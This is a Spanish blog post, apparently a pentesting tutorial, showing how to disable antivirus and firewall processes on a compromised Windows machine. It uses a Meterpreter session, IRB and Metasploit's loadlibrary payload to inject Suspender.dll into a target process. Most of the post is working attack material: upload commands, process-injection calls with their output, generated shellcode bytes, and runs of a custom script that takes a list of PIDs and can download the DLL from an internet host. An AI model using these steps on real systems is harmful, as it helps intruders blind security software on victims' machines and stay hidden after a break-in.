En esta ocasión se intentará indicar cómo es posible desactivar procesos resilientes en máquinas comprometidas (máquinas Windows) para evitar las dificultades que conlleva trabajar con un sistema monitorizado por un anti-virus u otro software de seguridad, para esto se utilizará en primer lugar MetaSploit Framework con una consola meterpreter establecida, IRB para ejecutar scripts escritos en Ruby contra la máquina comprometida y finalmente una DLL que permite “dormir” un proceso determinado y sus correspondientes procesos hijo, esto es todo lo que se necesita para conseguir eliminar procesos resistentes que no pueden ser detenidos o suspendidos por medio de los mecanismos convencionales.

En entradas anteriores de este blog se han indicado las bases sobre el uso de Ruby y de IRB desde Meterpreter, estos conocimientos son en esta ocasión, utilizados con el fin de crear un script que permita la carga de la librería DLL a un proceso del sistema y una vez cargada, intentará suspender el proceso. El procedimiento es realmente simple, se indica a continuación:

  1. En primera instancia, como es natural, es necesario tener una instancia de una consola Meterpreter contra la máquina comprometida, desde esta consola es necesario cargar la librería en el sistema remoto (simplemente ejecutando el comando upload de meterpreter)
    La librería que se ha venido mencionando es Suspender.dll y se puede descargar desde: http://blog.didierstevens.com/2011/04/27/suspender-dll/ Como indica la información contenida en el enlace anterior, el uso de la librería es muy sencillo, solamente es necesario cargarla en una posición de memoria ejecutable en la máquina, luego en el nombre del fichero, los últimos dígitos corresponden al tiempo en segundos que esperará la librería antes de suspender el proceso con el PID que se le ha indicado, de este modo por ejemplo, si el nombre del fichero subido a la memoria de un proceso determinado se llama “Suspender10.dll” la librería esperará 10 segundos antes de intentar suspender el proceso con el PID seleccionado.
    NOTA: Es muy importante establecer el PID correcto y en ningún caso, especificar un proceso del sistema operativo ya que puede desestabilizar completamente el sistema.

    meterpreter > cd C:\\ meterpreter > mkdir SuspenderLibrary

    Creating directory: SuspenderLibrary

    meterpreter > cd SuspenderLibrary

    meterpreter > upload Suspender10.dll

    [*] uploading : Suspender10.dll -> Suspender10.dll

    [*] uploaded : Suspender10.dll -> Suspender10.dll

  2. Una vez subida la librería en la máquina comprometida se procede a ejecutar IRB para cargar la librería en el proceso objetivo (por ejemplo un proceso de AV o Firewall).
    meterpreter > irb [*] Starting IRB shell

    [*] The ‘client’ variable holds the meterpreter client

    >> pathtosuspend = «C:\\SuspenderLibrary\\Suspender10.dll»

    => «C:\\SuspenderLibrary\\Suspender10.dll»

  3. Se procede a crear un el payload “loadlibrary” de Meterpreter y generarlo (todo utilizando la API de MetaSPloit Framework)
    
    >> pay = client.framework.payloads.create("windows/loadlibrary")
    
    => #<Module:payload/windows/loadlibrary datastore=[{"EXITFUNC"=>"process", "VERBOSE"=>"false"}]>
    
    >> pay.datastore['DLL'] = pathtosuspend
    
    => "C:\\SuspenderLibrary\\Suspender10.dll"
    
    >> pay.datastore['EXITFUNC'] = 'thread'
    
    => "thread"
    
    >> raw = pay.generate
    
    => "\374\350\211\000\000\000`\211\3451\322d\213R0\213R\f\213R\024\213r(\017\267J&1\3771\300\254\\SuspenderLibrary\\Suspender10.dll\000"
    
    
  4. Una vez creado el payload, se procede a abrir el proceso con el identificador de dicho proceso, suponiendo que el PID en este caso sea el 4036, la invocación es la siguiente
    
    >> targetprocess = client.sys.process.open(1012, PROCESS_ALL_ACCESS)
    
    => #<#:0x7f80d801ea68 @aliases={"thread"=>#:0x7f80d801ea68 ...>>, "memory"=>#:0x7f80d801ea68 ...>>, "io"=>#:0x7f80d801ea68 ...>>, "image"=>#:0x7f80d801ea68 ...>>}, @handle=472, @client=#, @pid=1012, @channel=nil>
    
    >> mem = targetprocess.memory.allocate(raw.length + (raw.length % 1024))
    
    => 43646976
    
    >> targetprocess.memory.write(mem, raw)
    
    => 225
    
    >> targetprocess.thread.create(mem, 0)
    
    => #:0x7f80d801ea68 @aliases={"thread"=>#:0x7f80d801ea68 ...>>, "memory"=>#:0x7f80d801ea68 ...>>, "io"=>#:0x7f80d801ea68 ...>>, "image"=>#:0x7f80d801ea68 ...>>}, @handle=472, @client=#, @pid=1012, @channel=nil>>
    
    

    Una vez abierto el proceso, se reserva un espacio de memoria suficiente para conseguir ejecutar la DLL y finalmente se crea el hilo de ejecución que será el que realmente invoque a la DLL para suspender el proceso indicado. Ese es todo el proceso, se trata de una técnica de post-explotación útil contra AV, Firewalls y otros mecanismos de defensa resilientes, molestos y difíciles de saltar. Sin embargo, este procedimiento aun se puede automatizar y mejorar.

Implementado el Script suspend_resilientprocess.rb

No se trata de un script existente en meterpreter o en el framework de metasploit, es simplemente un custom script que he escrito con el fin de optimizar todas las operaciones descritas anteriormente y además, intentar mejorar el mecanismo aceptando de uno a muchos PID validos en la máquina comprometida, lo que resulta muy útil dado que en muchas ocasiones existen herramientas y software que inicia múltiples procesos para su ejecución de forma independiente, como es el caso de varios AV del mercado y Firewalls con estado, con lo que resulta muy tedioso ir uno por uno intentando suspenderlos, por esta razón es mucho mas óptimo especificar un listado de PID al script y finalmente intentar suspenderlos de forma automática, por otro lado también se ha indicado opciones adicionales como por ejemplo descargar desde internet la DLL. Los comentarios se encuentran en ingles ya que es mi intención compartirlo a la comunidad de MetaSploit Framework, es requerido tener unos conocimientos de programación en Ruby básicos para poder comprender la lógica del programa y su funcionamiento, sin embargo es muy sencillo.

El script puede verse desde aquí: http://pastebin.com/P1LrTdJZ

Este script debe ser ubicado en: <DIR_MSF>/scripts/meterpreter y algunos ejemplos de su ejecución son los siguientes:

meterpreter > run suspend_resilientprocess -s 5 -p 2452,2456 -d http://www.fileserve.com/file/54bFq4P/Suspender.dll [*] Setting the number of seconds to suspend the process at 5

[*] The Suspender library will be downloaded from Internet, you need internet connection to make this work…

[*] Trying to download Suspender from http://www.fileserve.com/file/54bFq4P/Suspender.dll

[*] Suspender10.dll has been downloaded to /opt/metasploit3/msf3/data/Suspender5.dll (local machine). Please remove manually after use or keep for reuse.

[*] Uploading /opt/metasploit3/msf3/data/Suspender5.dll….

[*] successfully uploaded to C:\DOCUME~1\Owner\LOCALS~1\Temp\Suspender5.dll!

[*] Path Library: C:\DOCUME~1\Owner\LOCALS~1\Temp\Suspender5.dll

[*] Trying to suspend the process with PID: 2452

[*] Trying to suspend the process with PID: 2456

[*] The signal to suspend the 2452 has been submitted

The signal to suspend the 2456 has been submitted

En el caso anterior, se ha indicado que se inicie la suspensión de los procesos 2452 y 2456 en la máquina remota, además se llevará a cabo 5 segundos después del inicio del hilo de ejecución creado, por otro lado, la opción “-d” indica que se descargará la librería desde Internet.

run suspend_resilientprocess -s 5 -p 440 -f /home/adastra/Escritorio/Suspender.dll [*] Setting the number of seconds to suspend the process at 5

[*] File to upload: /home/adastra/Escritorio/Suspender.dll

[*] Uploading /home/adastra/Escritorio/Suspender.dll….

[*] successfully uploaded to C:\DOCUME~1\Owner\LOCALS~1\Temp\Suspender5.dll!

[*] Path Library: C:\DOCUME~1\Owner\LOCALS~1\Temp\Suspender5.dll

[*] Trying to suspend the process with PID: 440

[*] The signal to suspend the 440 has been submitted

En el caso anterior, se ha utilizando la opción “-f” indicando la ruta del fichero ubicado en un directorio local de la maquina del atacante.

meterpreter > run suspend_resilientprocess -s 10 -p 1 -f /home/adastra/Escritorio/Suspender.dll [*] Setting the number of seconds to suspend the process at 10

[*] File to upload: /home/adastra/Escritorio/Suspender.dll

[*] Uploading /home/adastra/Escritorio/Suspender.dll….

[*] successfully uploaded to C:\DOCUME~1\Owner\LOCALS~1\Temp\Suspender10.dll!

[*] Path Library: C:\DOCUME~1\Owner\LOCALS~1\Temp\Suspender10.dll

[*] Trying to suspend the process with PID: 1

[-] Error allocating memory in the target process with PID 1 the error is: stdapi_sys_process_attach: Operation failed: The parameter is incorrect.

[-] following with the next process in the list

[*] Error allocating memory in the target process with PID 1

The signal to suspend the 1 has been submitted

Finalmente, si alguno de los procesos indicados en el script no se encuentra en la máquina remota, automáticamente se lanzará una excepción indicando que el parámetro es incorrecto.

Prueba el script y si encuentras algún fallo, por favor hacermelo saber.

Gracias por leer.